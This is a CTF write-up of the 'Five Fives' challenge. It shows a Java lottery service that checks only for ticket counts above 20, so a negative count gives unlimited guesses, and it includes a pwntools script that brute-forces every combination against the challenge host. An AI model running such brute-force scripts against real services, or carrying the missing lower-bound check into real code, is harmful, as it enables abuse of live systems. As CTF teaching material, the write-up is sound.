# Five Fives

writeup by [5225225](https://www.5snb.club) for [BLÅHAJ](https://blahaj.awoo.systems)

**Pwn/Rev**
**476 points**
**46 solves**

> java SecureRandom is supposed to be, well, secure, right?

provided file: <Main.java>

## writeup

At first glance, this challenge looks like a RNG prediction challenge, where you need to recreate
the seed from the output, and then guess future output.

```java
//You'll never find my seed now!
int sleep = ThreadLocalRandom.current().nextInt(10000);
Thread.sleep(sleep);
long seed = System.currentTimeMillis();
ByteBuffer bb = ByteBuffer.allocate(Long.BYTES);
bb.putLong(seed);
SecureRandom r = new SecureRandom(bb.array());
Thread.sleep(10000 - sleep);
```

The code does manually seed a `SecureRandom` with a predictable input, namely the
`System.currentTimeMillis`. There is a 10 second window where the seed could be generated, so
there's 10 thousand possibilities for the seed. Add 10 or 20 thousand more to account for clock
variance between us and the server, and this is a very doable attack.

However, it turns out SecureRandom is only insecure with a given seed on windows. On other
platforms, it just reads from `/dev/urandom`, which is secure. Trying the attack fails, even after
a few attempts.

While looking at the code, you notice the odd writing of the `for` loops

```java
for (int i = 0; i != 5; i++) {
    System.out.print((r.nextInt(5) + 1) + " ");
}
```

They use `!=` instead of the more robust `<` consistently.

```java
System.out.println("You have $20, and each ticket is $1. How many tickets would you like to buy? ");
int numTries = Integer.parseInt(in.nextLine());
if (numTries > 20) {
    System.out.println("Sorry, you don't have enough money to buy all of those. :(");
    System.exit(0);
}
```

Here, they check for going *over* 20, but not under.


```java
for (int i = 0; i != numTries; i++) {
    System.out.println("Ticket number " + (i + 1) + "! Enter five numbers, separated by spaces:");
    String[] ticket = in.nextLine().split(" ");

    boolean winner = true;
    for (int b = 0; b != 5; b++) {
        if (nums[b] != Integer.parseInt(ticket[b])) {
            winner = false;
            break;
        }
    }

    if (!winner) {
        System.out.println("Your ticket did not win. Try again.");
    } else {
        System.out.println("Congratulations, you win the flag lottery!");
        outputFlag();
    }
}
```

Entering a `numTries` of -50000 will let you simply do a brute force attack against every
possibility, since -50000 is indeed *not* equal to 0, and you will be incrementing for a long time
until 0 reaches -50000.

```python
import time
import itertools
from pwn import *

r = remote("challenge.rgbsec.xyz", 7425)

r.readuntil("How many tickets would you like to buy?")
r.clean()

r.send(b"-50000\n")

ra = range(1, 6)
print(r.clean())
for i in itertools.product(range(1, 6), repeat=5):
    r.send(f"{i[0]} {i[1]} {i[2]} {i[3]} {i[4]}\n".encode("UTF-8"))
    time.sleep(0.01)
    print(r.clean())
```

I'm dumping the output of `r.clean()` as I don't know what format the flag will take, so I simply
dump this to a file and then grep through it for `rgbCTF`.
